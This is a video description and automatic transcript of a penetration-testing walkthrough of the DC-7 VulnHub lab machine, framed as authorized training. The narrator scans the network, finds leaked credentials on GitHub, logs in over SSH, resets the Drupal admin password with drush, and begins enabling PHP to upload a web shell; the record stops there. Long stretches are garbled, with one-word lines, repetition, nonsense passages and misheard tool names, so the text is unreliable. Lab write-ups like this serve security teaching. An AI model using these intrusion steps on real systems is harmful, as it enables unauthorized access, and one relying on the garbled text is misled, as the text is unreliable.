🔐 DC-7 WALKTHROUGH — COMPLETE PENETRATION TESTING FROM ENUMERATION TO ROOT

Welcome to this hands-on cybersecurity lab walkthrough! In this video, we'll explore the DC-7 vulnerable machine and demonstrate a structured penetration testing methodology, from initial reconnaissance to root access.

🎯 WHAT YOU'LL LEARN

How to approach a vulnerable machine systematically

Network discovery and port scanning

Service enumeration and information gathering

Identifying potential attack vectors

Web application and configuration analysis

Investigating discovered credentials and files

Exploiting weaknesses in the lab environment

Privilege escalation techniques

Achieving root access and reviewing the attack path

🧪 WHO SHOULD WATCH?

Cybersecurity and ethical hacking students

Beginner penetration testers

Linux and networking enthusiasts

CTF and vulnerable-machine learners

Anyone building practical cybersecurity skills

💡 LEARNING OBJECTIVE

Understand how reconnaissance, enumeration, vulnerability analysis, exploitation, and privilege escalation fit together in a real-world-style penetration testing workflow.

⚠️ ETHICAL DISCLAIMER: This demonstration is intended for education in an authorized, isolated lab environment. Only test machines you own or have explicit permission to assess. Do not use these techniques against unauthorized systems.

💬 QUESTION: Which part of DC-7 challenged you most — enumeration, initial access, or privilege escalation? Let us know in the comments!

👍 Like, share, and follow for more practical penetration testing, Linux, CTF, and cybersecurity tutorials.

#DC7 #PenetrationTesting #EthicalHacking #KaliLinux #CTF #PrivilegeEscalation #CyberSecurity #Linux #VulnHub #RedTeam

Category

📚
Learning
Transcript
00:00:00Hello guys, welcome to Legendary IT YouTube channel.
00:00:04If this is your first time, my name is Moses.
00:00:08I teach cyber security, programming, and IT.
00:00:14In our today's video, it is strictly for educational and cyber security awareness purposes.
00:00:25So all the demonstrations that I'm going to perform are basically in a controlled lab environment using intentional vulnerable machine
00:00:39designed for security training.
00:00:42So do not attempt these techniques on any computer network or system without explicit authorizations from the concerned people.
00:00:58So unauthorized access to computer system is illegal and unethical.
00:01:03So the goal of this video today, it is to help students, IT professionals, and cyber security enthusiasts understand how
00:01:16attacks work so they can be better defend against them.
00:01:25So today, the demonstration uses an intentional vulnerable virtual machine called DC7, where I'm setting it in a private lab
00:01:40for cyber security education and ethical hacking practices.
00:01:47So to start with, you must have virtual box installed.
00:01:54So right now you can see I have Kali Linux installed and it is running in my virtual box.
00:02:00So when I come to, this is my Kali Linux, it is running already.
00:02:05So we need to install that intentional vulnerable machine so that we can practice this for educational purposes.
00:02:19I repeat.
00:02:23I repeat.
00:02:24So everything off.
00:02:28Click any browser of your choice.
00:02:32So once it is open, you need to go to this site.
00:02:39You will come and type this site here.
00:02:45So this is the site you're supposed to come to.
00:02:48So our vulnerable, our intention of vulnerable virtual machine is called DC7.
00:02:55So type this command on the web browser of your choice.
00:03:02Press enter.
00:03:05You will see this option, emerging.
00:03:09So from these options, you can see we have, it's called DC7.
00:03:15I am inside this website called Vanderbilt or Val Hub.
00:03:23It's a site where you get to have vulnerable machines, which you can use for educational purposes to do pen
00:03:31testing.
00:03:32So just come to downloads and click the first option.
00:03:37It is 939 MB.
00:03:39So click the first option.
00:03:43Oops.
00:03:45First option has a problem.
00:03:47Click the second option.
00:03:51The mirror one.
00:03:53You will see it tells you where do you want to download.
00:03:56So just click.
00:03:58I think in the download section it's okay.
00:04:00Just click save.
00:04:02And your download will start.
00:04:05So depending on how fast your internet speed is, it should take less than 5 minutes.
00:04:12So it is downloading.
00:04:17So we'll not wait for this time already.
00:04:20I downloaded this, a vulnerable, intentional vulnerable virtual machine already.
00:04:27So I'll just pause because I already have it.
00:04:30But make sure you download it to the end.
00:04:33So just pause it.
00:04:36Now next thing, so we need to install that vulnerable machine inside the virtual box.
00:04:46So I'll just come to my folders.
00:04:51Then I think I have it under cybersecurity folder.
00:04:56I have this 7 here.
00:04:59So you have to download and extract it.
00:05:02So this is the file itself.
00:05:04It is DC 7.
00:05:06It's usually under zip file.
00:05:08So when you look at this, let me come to the download.
00:05:11You'll see it is a zip file.
00:05:14So make sure you are inside the zip file.
00:05:19You download it and extract it.
00:05:25So when I check here, it is a zip.
00:05:30So close this part.
00:05:35So this is my DC 7 image file.
00:05:41I just want to minimize this.
00:05:44I just want to minimize this.
00:05:47Just minimize it like this.
00:05:51So I want to drag this.
00:05:53So this is just plug and play.
00:05:57Just hold it.
00:05:58Drag it towards this section up here.
00:06:04Just drag it towards this section.
00:06:07So left click.
00:06:10Just drag and drop it there.
00:06:13A pop-up will appear like this import virtual appliance.
00:06:16I'm just importing it.
00:06:17So just click finish.
00:06:19But you can come and do some settings here.
00:06:22If you can see the settings.
00:06:26Right now it has been given 1 GB of RAM.
00:06:31So I think that is okay.
00:06:33It's okay this way.
00:06:35Just finish.
00:06:38And let's wait for some second for it to be imported.
00:06:43To your virtual box and you can start.
00:06:47So while it is being imported.
00:06:50Let me come back to my Kali Linux.
00:07:00So on the Kali Linux part.
00:07:07Let me add the password.
00:07:12So currently I want to check my IP address.
00:07:17It's because this is a local lab that I've created specifically.
00:07:26I want to get the local lab in this virtual box.
00:07:28So I want to check my IP.
00:07:30So I use if config to check your IP address.
00:07:35Right now I have an IP of 10 0 to 15.
00:07:40That is okay.
00:07:47So let's come back to our virtual box.
00:07:52It has been imported.
00:07:53This is our DC 7.
00:07:55You can see it is imported.
00:07:56Just come to start.
00:08:00Click on start.
00:08:02Power it on.
00:08:03The process can begin.
00:08:06So while it is powering up.
00:08:07There is what we call.
00:08:10We need to set up the network connectivity.
00:08:13On the local machine.
00:08:14So on the virtual box.
00:08:17We have these sections here.
00:08:20For example, we have this one.
00:08:22This one is for network configuration.
00:08:24So right now.
00:08:26I'm using.
00:08:28Well, DC 7 was powering up.
00:08:30This is the pop-up that appears.
00:08:32If you will get this pop-up.
00:08:33It is telling us.
00:08:36Change network settings.
00:08:38So click on it.
00:08:40Pop-up will appear.
00:08:42This is the pop-up.
00:08:44So right now it is configured to use bridge adapter.
00:08:48So bridge adapter allows the virtual machine.
00:08:51To utilize internet directly.
00:08:55And we don't want that.
00:08:57Because this is a control environment.
00:08:58It is an educational practice.
00:09:02We will set it to internal network.
00:09:07Which is NAT network.
00:09:11Then we click OK.
00:09:15And we will wait for it.
00:09:17So using NAT network.
00:09:20When you set it to NAT.
00:09:22This is what appears.
00:09:29It is initializing.
00:09:31So this is my DC 7 machine.
00:09:37It is initializing.
00:09:44Let's give it some time.
00:09:48So in order to practice this task or exercise successfully.
00:09:56Make sure you are at least in a laptop that has 8 GB and above.
00:10:00Because when you have 4 GB RAM.
00:10:02You will face a difficult time operating.
00:10:08Now it is done.
00:10:10We can see now the IP address here.
00:10:14It is 10 0 2 3.
00:10:18You know the IP address already.
00:10:21So just minimize it.
00:10:24We will come to our.
00:10:27So you need to create a notepad or a text file.
00:10:32This is it.
00:10:34So.
00:10:37These are the steps that we are going to look at.
00:10:43First we will do planning and recognises.
00:10:46Recognises is just information gathering phase.
00:10:49We will come to services enumeration.
00:10:53And scanning.
00:10:55We will look at different services running on different ports.
00:10:58After we will identify the IP address that belongs to DC 7.
00:11:03You know vulnerability research.
00:11:05We will do a research on those.
00:11:06On the services that we get.
00:11:09To find vulnerabilities.
00:11:12And then we will exploit those vulnerabilities.
00:11:14And finally do post exploitation to gain.
00:11:18Admin level privileges or root level privileges.
00:11:21So right now.
00:11:23These are the steps we are going to take.
00:11:26So.
00:11:27For this.
00:11:30So let me see my IP address.
00:11:32It is 10 0 2 15.
00:11:36To have easier time operating.
00:11:38I can create several.
00:11:43Terminals.
00:11:45Let me say three terminals.
00:11:49This is my second terminal here.
00:11:53Yes.
00:11:54I have two.
00:12:03Let me just have three terminals.
00:12:05For this task.
00:12:09I have three terminals.
00:12:12Let me just put another one here.
00:12:19Let's drag it nicely.
00:12:21Like this.
00:12:22So make sure you set up at least three terminals.
00:12:25Like this.
00:12:27For.
00:12:30For easier time operating.
00:12:35Now.
00:12:37After.
00:12:38We've.
00:12:38We've installed.
00:12:40DC7.
00:12:41This is our DC7 machine.
00:12:43And we have our Kali Linux machine.
00:12:45So DC7 will just minimize it.
00:12:47Because we are not using it at this point.
00:12:50So the first thing you want to do.
00:12:53Right now we are in a local.
00:12:55Network.
00:12:56Under the virtual box.
00:12:58So the first thing you need to do.
00:12:59You need to scan the local.
00:13:00Network.
00:13:01Network.
00:13:01And to scan the local.
00:13:03Network.
00:13:05We will use.
00:13:08We can use.
00:13:10ARP scan.
00:13:11Or NetDiscover.
00:13:13So just says.
00:13:16NetDiscover.
00:13:19NetDiscover is a tool that scans the local IP address.
00:13:24A subnet.
00:13:25To give you.
00:13:27All the hosts that are.
00:13:29Actually using the internet.
00:13:31Or live on the internet.
00:13:33So say NetDiscover.
00:13:34Do recursive.
00:13:36Search.
00:13:38And then write.
00:13:40The IP address.
00:13:42So right now let me.
00:13:44My IP address was.
00:13:48If config.
00:13:50Let me check.
00:13:51Config.
00:13:53The IP address.
00:13:54It is.
00:13:5610.0 to 15.
00:13:58So I'll come here.
00:13:59It says.
00:13:5910.0.
00:14:002.
00:14:0215.
00:14:03So right now.
00:14:05I can say.
00:14:07I'm doing.
00:14:12Finding IP address.
00:14:14You need to document some of these things.
00:14:17Find.
00:14:19IP address.
00:14:21For DC.
00:14:23For DC.
00:14:23Machine.
00:14:27That's what we are doing.
00:14:28Right now.
00:14:29So let me just.
00:14:30Minimize.
00:14:33So here we will say.
00:14:372.
00:14:382.0.
00:14:40Slash.
00:14:4124.
00:14:43Press.
00:14:43Enter.
00:14:44So it is telling us.
00:14:46We must be root.
00:14:47Users.
00:14:48We must run this as root.
00:14:49So type.
00:14:50Sudo.
00:14:51Press.
00:14:52Enter.
00:14:53Enter the password.
00:14:55And wait for the command to execute.
00:15:00So click.
00:15:00It has finished executing.
00:15:03We can see.
00:15:04Now we have.
00:15:04Two.
00:15:06IP addresses.
00:15:07That are live.
00:15:10First one we have.
00:15:11It is.
00:15:1210.0.
00:15:122.
00:15:132.
00:15:13And 10.0.
00:15:142.
00:15:153.
00:15:18So.
00:15:18So.
00:15:20The.
00:15:21We know the IP address of our.
00:15:23Which is.
00:15:2410.0.
00:15:242.
00:15:253.
00:15:26Otherwise.
00:15:27We will check.
00:15:28For all other.
00:15:30IP addresses.
00:15:30But since we have two.
00:15:31We can just start with this one.
00:15:32Let's check.
00:15:34To see.
00:15:36Which services.
00:15:37That are running in these two IPs.
00:15:39So first of all.
00:15:39I will come and add.
00:15:43So the first IP.
00:15:44It is.
00:15:4410.0.
00:15:472.
00:15:482.
00:15:492.
00:15:50My first IP.
00:15:51The second one is.
00:15:5210.0.
00:15:542.
00:15:553.
00:15:55Those are the two IP addresses.
00:15:57That I have.
00:15:58Found.
00:15:58Using which command.
00:16:00Using.
00:16:02Net.
00:16:04Discover.
00:16:06R.
00:16:0710.0.
00:16:082.
00:16:090.
00:16:102.
00:16:114.
00:16:11It's good.
00:16:12You write the commands.
00:16:13That you've used.
00:16:15In doing the.
00:16:16Scanning.
00:16:17So right now.
00:16:17I have two.
00:16:18IP address.
00:16:21We.
00:16:22Clear.
00:16:24So.
00:16:25Since we have now.
00:16:26The two IP addresses.
00:16:28We need.
00:16:29To look at.
00:16:31The services.
00:16:32That are running.
00:16:33In those.
00:16:35Because IP addresses.
00:16:37Represent.
00:16:37A node.
00:16:38Or a PC.
00:16:39On the.
00:16:39Network.
00:16:40So we need to see.
00:16:41In those.
00:16:42PCs.
00:16:42On the network.
00:16:44What services.
00:16:45Are running.
00:16:47On those.
00:16:49On those.
00:16:51PCs.
00:16:52Or computers.
00:16:53So.
00:16:54We'll do this.
00:16:55Under service.
00:16:56So we'll scan for services.
00:16:58And then we'll do.
00:17:00Enumeration.
00:17:01We see.
00:17:03What is happening.
00:17:04So next thing.
00:17:05We need to do.
00:17:06Come to.
00:17:09The terminal.
00:17:10Then we'll use.
00:17:12We'll just use.
00:17:13Sudo.
00:17:14We'll use another tool called.
00:17:15Enmap.
00:17:16Enmap.
00:17:17Can be used to scan.
00:17:18For services.
00:17:23It can be used.
00:17:25To get.
00:17:25The services.
00:17:28Ports.
00:17:29Open ports.
00:17:30Running on the computers.
00:17:31And many other things.
00:17:33So.
00:17:34I'll use.
00:17:35Enmap.
00:17:35And then I will use.
00:17:39I will use.
00:17:40Hyphen C.
00:17:42So.
00:17:42This option.
00:17:44Tells.
00:17:46This option.
00:17:47Tells.
00:17:47The Enmap.
00:17:48To execute.
00:17:48A collection.
00:17:49Of safe.
00:17:50And useful.
00:17:51Tools.
00:17:53Or scripts.
00:17:54After discovery.
00:17:55Of open.
00:17:56But so.
00:17:57After it discovers.
00:17:58The open.
00:17:58Ports.
00:17:59Tells.
00:17:59Enmap.
00:18:00To run.
00:18:01Some useful.
00:18:01Scripts.
00:18:03To identify.
00:18:04Things like.
00:18:04HTTP.
00:18:06Page titles.
00:18:08Other things.
00:18:09To retrieve.
00:18:10SSL certificate.
00:18:12Information.
00:18:14And also.
00:18:14Detect.
00:18:15SMB.
00:18:17Information.
00:18:17Identify.
00:18:18SSH.
00:18:19Host.
00:18:19Keys.
00:18:20And also.
00:18:21Discover.
00:18:22FTP.
00:18:22Anonymous.
00:18:23Login.
00:18:24And finally.
00:18:25Can also.
00:18:25Be used.
00:18:26To gather.
00:18:26DNS.
00:18:27Information.
00:18:28So.
00:18:28That's why.
00:18:29We have.
00:18:29This.
00:18:30Option there.
00:18:31The next.
00:18:33Argument.
00:18:33We have.
00:18:34It is.
00:18:36V.
00:18:38And so.
00:18:39Start with.
00:18:40S.
00:18:40Small s.
00:18:41And then.
00:18:42Capital.
00:18:43V.
00:18:44So.
00:18:45Stands.
00:18:45Version.
00:18:46Detection.
00:18:48This.
00:18:49Attempts.
00:18:49To determine.
00:18:50The application.
00:18:50Running.
00:18:50On each.
00:18:52Open port.
00:18:52So.
00:18:53To see.
00:18:53The services.
00:18:54That each.
00:18:54Open port.
00:18:55Has.
00:18:56And their.
00:18:56Versions.
00:18:57Even.
00:18:58It can be used.
00:18:58To get you.
00:18:59The operating system.
00:19:01Version.
00:19:02That the.
00:19:04Machine.
00:19:05On the network.
00:19:06Using.
00:19:07So.
00:19:08Say.
00:19:08Sudo.
00:19:08Nmap.
00:19:09C.
00:19:10V.
00:19:11And then.
00:19:11You write.
00:19:12The IP address.
00:19:13Specifically.
00:19:13That you want.
00:19:14To.
00:19:15Do.
00:19:15This.
00:19:15Is.
00:19:15Scanning.
00:19:17So.
00:19:17It is.
00:19:1710.
00:19:170.
00:19:212.
00:19:23Dot.
00:19:24Press.
00:19:25Enter.
00:19:27Wait.
00:19:28A minute.
00:19:31Sudo.
00:19:32Nmap.
00:19:34I can see.
00:19:35That put.
00:19:35Nmap.
00:19:36Summary.
00:19:39Oh.
00:19:39I've forgotten.
00:19:40Something.
00:19:41Here.
00:19:43It is.
00:19:44S.
00:19:44So.
00:19:45Possible.
00:19:45Possibility.
00:19:46Of.
00:19:46Making.
00:19:47Errors.
00:19:47In.
00:19:47The.
00:19:48Command.
00:19:48Is.
00:19:48Very.
00:19:49High.
00:19:49So.
00:19:52You.
00:19:53Come.
00:19:53And.
00:19:56Just.
00:19:58Press.
00:19:58Enter.
00:20:00Scan.
00:20:00Will.
00:20:01Start.
00:20:02So.
00:20:03Here.
00:20:03We.
00:20:03Add.
00:20:04S.
00:20:05Let's.
00:20:05See.
00:20:07So.
00:20:07We're.
00:20:09Running.
00:20:10Useful.
00:20:10Scripts.
00:20:11With.
00:20:11This.
00:20:13Second.
00:20:14Option.
00:20:14Identify.
00:20:14The.
00:20:15Running.
00:20:16On.
00:20:16The.
00:20:16Open.
00:20:17So.
00:20:19Let's.
00:20:19Let's.
00:20:19Wait.
00:20:20It.
00:20:20For.
00:20:21Second.
00:20:21To.
00:20:21Do.
00:20:21The.
00:20:22Scan.
00:20:22Can.
00:20:23So.
00:20:23Depending.
00:20:24With.
00:20:25How.
00:20:25Fast.
00:20:26The.
00:20:27Is.
00:20:28The.
00:20:29Can.
00:20:31See.
00:20:34Right.
00:20:35Now.
00:20:35We.
00:20:36Have.
00:20:38998.
00:20:39Both.
00:20:40Which.
00:20:40Are.
00:20:41Closed.
00:20:43But.
00:20:44Likely.
00:20:45We.
00:20:46Some.
00:20:46Nice.
00:20:46Information.
00:20:47Here.
00:20:47We.
00:20:47Have.
00:20:49Port.
00:20:4922.
00:20:51Which.
00:20:52Is.
00:20:52Open.
00:20:52And.
00:20:53Port.
00:20:5322.
00:20:55It.
00:20:55Runs.
00:20:57SSH.
00:20:59Sometimes.
00:21:00To.
00:21:01Minimize.
00:21:01Is.
00:21:02Or.
00:21:03True.
00:21:03Harden.
00:21:04Or.
00:21:04Strengthen.
00:21:04You.
00:21:05Can.
00:21:05Do.
00:21:06Observation.
00:21:07For.
00:21:08Hiding.
00:21:09The.
00:21:09Service.
00:21:10On.
00:21:10A.
00:21:11Port.
00:21:11Number.
00:21:12To.
00:21:13Prevent.
00:21:14Common.
00:21:16Scans.
00:21:16Like.
00:21:16This.
00:21:19Because.
00:21:19Somebody.
00:21:20Might.
00:21:20Just.
00:21:21Try.
00:21:31SSH.
00:21:33Host.
00:21:34Keys.
00:21:35Are.
00:21:35Here.
00:21:36And.
00:21:37Also.
00:21:37We.
00:21:38Have.
00:21:39A.
00:21:40Port.
00:21:4080.
00:21:41Which.
00:21:41Is.
00:21:43A.
00:21:45It.
00:21:47Is.
00:21:48A.
00:21:48Port.
00:21:49That.
00:21:49Is.
00:21:50Use.
00:21:50For.
00:21:50Web.
00:21:51Services.
00:21:52Things.
00:21:53We.
00:21:53Have.
00:21:53An.
00:22:01You.
00:22:02Can.
00:22:02Get.
00:22:03Into.
00:22:03It.
00:22:06Is.
00:22:06Right.
00:22:07Here.
00:22:08And.
00:22:08Also.
00:22:08We.
00:22:08Have.
00:22:08The.
00:22:09Operating.
00:22:09System.
00:22:09We.
00:22:10Using.
00:22:11Using.
00:22:12Linux.
00:22:13Operating.
00:22:14System.
00:22:14So.
00:22:15Basically.
00:22:16Even.
00:22:16The.
00:22:16Service.
00:22:17On.
00:22:17This.
00:22:19The.
00:22:20Service.
00:22:21On.
00:22:21This.
00:22:21It.
00:22:22It.
00:22:22It.
00:22:22It.
00:22:23It.
00:22:24It's.
00:22:24Using.
00:22:25PHP.
00:22:29So.
00:22:30Right.
00:22:30Now.
00:22:30We.
00:22:30Have.
00:22:31To.
00:22:31Ports.
00:22:32And.
00:22:32Is.
00:22:33On.
00:22:33Those.
00:22:33Ports.
00:22:37Port.
00:22:3722.
00:22:39Just.
00:22:39Copy.
00:22:40This.
00:22:41Could be.
00:22:42Selection.
00:22:43I.
00:22:43Want.
00:22:43To.
00:22:43This.
00:22:44To.
00:22:44My.
00:22:47So.
00:22:48Right.
00:22:48Now.
00:22:48We.
00:22:49Have.
00:22:49Pot.
00:22:5222.
00:22:52It.
00:22:53Is.
00:22:53Open.
00:22:54It.
00:22:54Trans.
00:22:54As.
00:22:55As.
00:22:55As.
00:22:55As.
00:22:55As.
00:22:56As.
00:22:56As.
00:22:56As.
00:23:10As.
00:23:10Legions.
00:23:12Let's.
00:23:13Add.
00:23:13Here.
00:23:15To.
00:23:16right?
00:23:16Now.
00:23:16To.
00:23:32No.
00:23:33Now, we've seen on Port Eite that there is a website running because Port Eite is usually where you find
00:23:48web services at Port Eite.
00:23:50So we can use a tool called NetCut to see the header part of the HTTP service running on Port
00:24:05Eite.
00:24:06So we can come to this. Let me clear the screen.
00:24:13I can use NC 10.0.2.3. Let's say Port 8.
00:24:28So we press Enter.
00:24:29So from here you can see basically the Apache version that is running here.
00:24:37It is similar to what we got on the scan.
00:24:39Now, let's go to the site, to the browser that we can do further search on this Port 8.0.
00:24:51Just type the IP address.
00:24:54Type the IP address of the server.
00:24:58So we need to get a page for the DC server.
00:25:01So right now you can see, okay, so this is a website.
00:25:08It's a web application, not a website.
00:25:12And so we can see, welcome to DC7.
00:25:16This introduces some new concepts, but I'll leave you to figure out what they are.
00:25:21Powered by Drupal.
00:25:23Oh, so we have something here.
00:25:25What is this Drupal?
00:25:27We can right click on it, open a new tab.
00:25:34So let's see.
00:25:41Let's see.
00:25:44What is Drupal?
00:25:55It's taking quite some time to load these things.
00:25:59So Drupal, it's a content management system.
00:26:05Okay.
00:26:09And Drupal is the best AI ready open source CMS in the world.
00:26:20So it's an open source web-pointed management system written in PHP.
00:26:27So that means it's a PHP based software.
00:26:37So since we have that information, it's good that we have it.
00:26:43Let's return back to DC7.
00:26:47Again, also when we look at this, we realize we have a certain address here.
00:26:54Down here it is at DC7 user.
00:26:59So let's also search that.
00:27:03So this CTF like machine machines.
00:27:08You have to always find clues that can assist you in gaining access and things like that.
00:27:15So let's type that address on the search.
00:27:21Let's see what comes out.
00:27:24Oh, so this is a, it's a GitHub account.
00:27:30So let's open this account and see what comes out of it.
00:27:37All right.
00:27:38So it has opened.
00:27:40So currently we have several files here.
00:27:43Display.
00:27:48So let's say this is some code.
00:27:50Yes.
00:27:50It's not the greatest code, but there wasn't that.
00:27:53Oh, such seven years ago.
00:27:56Hmm.
00:27:56That is very long.
00:27:59I just want to come to configurations file.
00:28:02I see what happens here, but we should go through all of this.
00:28:08Everything.
00:28:09And to see configuration.
00:28:11Most of configuration will find things pertaining the web application or the content management
00:28:17system.
00:28:17Possibly passwords are usually there under configurations.
00:28:22Right.
00:28:23So here we can see.
00:28:25We have the username and we have the password.
00:28:30All right.
00:28:31So let's just grab these two things here.
00:28:34We have the username and we have the password.
00:28:38So let me return back to my text.
00:28:43After doing enumeration on port, this is port 80.
00:28:54So port 80, these are the two things.
00:28:59So first of all, when you come to port 80, this is what has emerged from it.
00:29:07Now by username called DC7 and the password called, that is the password.
00:29:14Now, so since we have the username and the password, so we need to attempt to find out where
00:29:25these two details might fit because there might be somewhere where you need a username and password.
00:29:34So probably you can come to this site because it's a web application.
00:29:38It means there is a login page somewhere, a login button.
00:29:43So just click on the login.
00:29:47Wait for it to come up.
00:29:50Right.
00:29:50So this is the login part.
00:29:53So the name was DC7 user.
00:29:59And the password, let me come and check the password, the password.
00:30:03So this is the password, just grab it.
00:30:10Then return back to my machine and add the password there.
00:30:17Try to log in.
00:30:20Do you want to save?
00:30:22Not now.
00:30:25No.
00:30:28So it's telling us username or password not recognized.
00:30:33So that means these are not the logins we need.
00:30:37Okay.
00:30:38Let's come back to our, realize we have another web SSH.
00:30:45So what if this is a credentials for SSH login, we can try this.
00:30:54So the point of pen testing is to try out different things to find out which one will best fit.
00:31:04We may just minimize the browser.
00:31:10So let me come and try to log in using SSH.
00:31:15So I'll come here, say SSH.
00:31:20I want to log in using DC7 user as the username.
00:31:31And where this service is, it is in this IP address.
00:31:38Press enter.
00:31:39So it's telling us, whoop, okay, it's working.
00:31:44Are you sure you want to continue connecting?
00:31:47Yes, I'm sure.
00:31:50It is telling us, we need to supply the password.
00:31:57Okay.
00:31:58So this is the password here.
00:32:00Just copy it.
00:32:03Come here.
00:32:06Paste it.
00:32:10And press enter.
00:32:13Right.
00:32:13We are in.
00:32:14So the password worked.
00:32:17Right.
00:32:18Right now we are connected to the DC7 user computer using this.
00:32:25So what we can say here, we can say this credentials.
00:32:37Credentials.
00:32:41Credentials.
00:32:42Credentials.
00:32:43Credentials.
00:32:44For SSH.
00:32:47Something like that.
00:32:48So these are the credentials for SSH.
00:32:59So we are done with service enumeration.
00:33:03Now the next part we want to go to, it is vulnerability research.
00:33:09So before that, we realized that this machine is running a Drupal based content management
00:33:23system, which is written in PHP.
00:33:27So let's come back to our DC7 machine because we have logged into it remotely using SSH.
00:33:39We will type LS.
00:33:41Yes.
00:33:42Remember in my previous video, we said we use hyphen AL to get structured and content of
00:33:50both hidden and visible files.
00:33:53Press enter.
00:33:54So currently we can see we have different directories here.
00:34:03We have the one that starts with D.
00:34:06These are folders.
00:34:07The one that starts with hyphen.
00:34:10These are files.
00:34:11So right now we have backups folder.
00:34:15It's an interesting piece of information.
00:34:20This we have a backup folder.
00:34:21We have an inbox folder.
00:34:24Let's see the path we are in right now.
00:34:27We are in.
00:34:31So we are in vulnerability research.
00:34:35This is where now you can say something like inside home, DC7.
00:34:46We have two folders.
00:34:51Folder that we might look at.
00:34:54We have backup.
00:34:56Backups.
00:34:58And file.
00:34:59We have one file.
00:35:02I might want to look at.
00:35:03It is called the inbox.
00:35:07But I scanned through all of this.
00:35:10So make sure you go through all the files there.
00:35:15Don't just go to one of the files and you purport to have done.
00:35:20Everything.
00:35:21So make sure you go through all the files here.
00:35:24So first of all, let me log into this.
00:35:27Let me log into this file.
00:35:33This folder called backups.
00:35:35I'll just say CD space backups.
00:35:42List everything.
00:35:44So we have two.
00:35:46Website SQL, BGP, GBP.
00:35:50And there are two things.
00:35:54Let me see the permissions we have to these files.
00:36:03Oh, forgot to add hyphen AL.
00:36:06So you can see these are files.
00:36:10The permissions DC7 user has.
00:36:15They can read write.
00:36:16Groups can just read and others can read.
00:36:20So let me just log out of this.
00:36:24Next place we want to come to.
00:36:26It is called inbox.
00:36:29So let's see what is in the inbox.
00:36:37So we'll say because it's a file.
00:36:41Because we saw here inbox as hyphen.
00:36:45There so it's a file.
00:36:47So we'll come and say.
00:36:51Cut commands.
00:36:53We want to see what is inside there.
00:36:54So.
00:36:55And the best way to list things.
00:37:00With cut command is use the pipe.
00:37:03And then we say less.
00:37:05We want to see a few things at the go.
00:37:10Also from here you can see.
00:37:11Okay.
00:37:12This is a.
00:37:14We have a.
00:37:15Clone job.
00:37:19Clone.
00:37:20Clone is a service.
00:37:22It's a scheduled service.
00:37:25It's a clone in Unix systems.
00:37:28Clone is a scheduled service.
00:37:31And a daemon.
00:37:32It is a service running on the background.
00:37:34so that means we have some services scheduled here to run on the background and what is the service
00:37:41here so you can see the service that it's a scheduler service that is supposed to backup
00:37:52things to this backups.sh so no no so this backup.sh is a script that is scheduled to run
00:38:04on the
00:38:04background and the privileges this script has or the privileges that these scripts run on it is the
00:38:17root privileges so that means anything running from this script it is running as a root so all the
00:38:28changes are dumped into this SQL database and that's where everything is dumped or stored
00:38:43in this database so that means there is a script called backups.sh so this script runs on the
00:38:53background it is scheduled to run and the background and everything gets stored inside this
00:39:10file so right now we can take this path to this script which is very crucial copy right now we
00:39:19know
00:39:21we're inside the inbox inside the inbox we realize there is an important script running there and that
00:39:30script is found inside option scripts and the backups are dumped inside this
00:39:43directory here so storage just find words you can use to describe
00:39:54So right now we have a script called backups.sh it is run as a domain so that means all
00:40:04root user so the root
00:40:06this script is run as a using the root level privileges so it is very interesting because it can be
00:40:15very helpful
00:40:16going forward so you can see similar uh just run at a specific time it's a scheduled task it it
00:40:29it it worked
00:40:3129th of august same thing so it is something that work that is executed repeatedly so since we have that
00:40:39information
00:40:40information we can type cute so we want to quit now we want to see what privileges do we have
00:40:55what privileges we have
00:40:59from this file so first we can just say ls hyphen l and then we will write the full path
00:41:08file to where that script is to see the privileges that are assigned assigned to that script so it's a
00:41:22ls hyphen l options
00:41:24scripts backups.sh press enter so you can see so others can read only the file
00:41:39so let's and execute it but you cannot modify the file so let's see if we can actually read using
00:41:48cat command
00:41:52you can use cat command and then we write the path to where the file is
00:42:07ls hyphen cdburgh
00:42:25where this is here directory here let me just copy this directory to where things
00:42:34pertaining the web application is this one of the directory so in this
00:42:40directory you have to run this command called drush SQL dump results
00:42:49okay so what is drush let's check so find that while doing these things you have to do
00:43:02such research to find out the functionality of different things what is drush
00:43:13and we wait for some time right now we are done with github so drush is a command line interface
00:43:27and scripting tool specifically designed for Drupal it replaces the need to navigate through
00:43:32the graphical admin execute commands directly in the terminal so let's see what else it
00:43:43can do it can manage users it can also reset passwords okay so that means we can use drush
00:43:58to reset password okay so let's see how drush can reset passwords
00:44:39so you type
00:44:41so you type
00:44:47so this is what you come and type drush user password username your new password okay so that's
00:45:00why it can be used to reset the password and in order to do that you must be
00:45:12you must be you must be inside the folder because we saw in order to execute that command you must
00:45:21be
00:45:21inside this folder so let's cd to that folder first of all cd to that folder
00:45:49so this is the place where we can execute the command drush so what we need to do we need
00:45:59to use drush
00:46:02drush user password and admin i want to change this admin let me expand this window
00:46:30to hyphens we say password one to change it to one two three so one two three is not recommended
00:46:44the password to use the systems because it's very weak it can be cracked always
00:46:51so use theoo
00:46:57to go from the other way as i'm sure we have to divide the way up here for a new
00:47:02agency
00:47:02we need to create the adoption window to create
00:47:04so this is an easy move we need to find our fossch for other people to try to change it
00:47:20to manage it to use a neue component to add a Resource in the Local
00:47:21for admin. Now it is 123. Okay, so let's try to log into that site using the changed password.
00:47:34So we want to log in as administrators. Admin, the password it is 123. So let's log in. Now
00:47:54we are in. So that tells you that right now you are an admin to this site. Because you
00:48:05changed the password to 123. Right. So after you change the password,
00:48:18we need now to leverage Drupal admin access to obtain shell, shell access on the target system.
00:48:32Because right now we are just normal common users. But you need to access to have shell
00:48:38to have root level access to the to the system. But we need web shell to assist us to do
00:48:47this.
00:48:50And we saw that. And so for this, we will need to create a PHP script or find
00:49:01a way to upload and execute a PHP script to the target system.
00:49:13So when when you do some research on the internet.
00:49:20So I did some research on this and I realized that
00:49:24PHP code functionality is provided by a Drupal module named PHP, which has been removed from Drupal versions 8
00:49:38and above. So interestingly, but when you look at our Drupal function, our Drupal version of Drupal we are using
00:49:49our Drupal version, it is version 8. This is one of the versions that PHP has been disabled. The PHP
00:50:02module has been disabled.
00:50:04This version we are using. So that means we need to enable.
00:50:12So this is that command we used. It's called Drush. So interestingly, Drush provides you with the capability to enable
00:50:27PHP module.
00:50:31A module. So what will we do? So we'll come here. So we need to re-enable the module so
00:50:37that
00:50:38we can upload the web shell so that we can have access to the system.
00:50:45So what will we do? We will come and type. So after some research also, there's a way you can
00:50:52enable
00:50:55PHP using Drush, E-N for enable space and write the PHP that you want to enable. Press enter.
00:51:06Let's see here. Would you like to download them now?
00:51:13Yes.
00:51:16Wait for some seconds.
00:51:21The next thing that could be enabled. PHP is not found. So PHP project that is needed. It is 8.
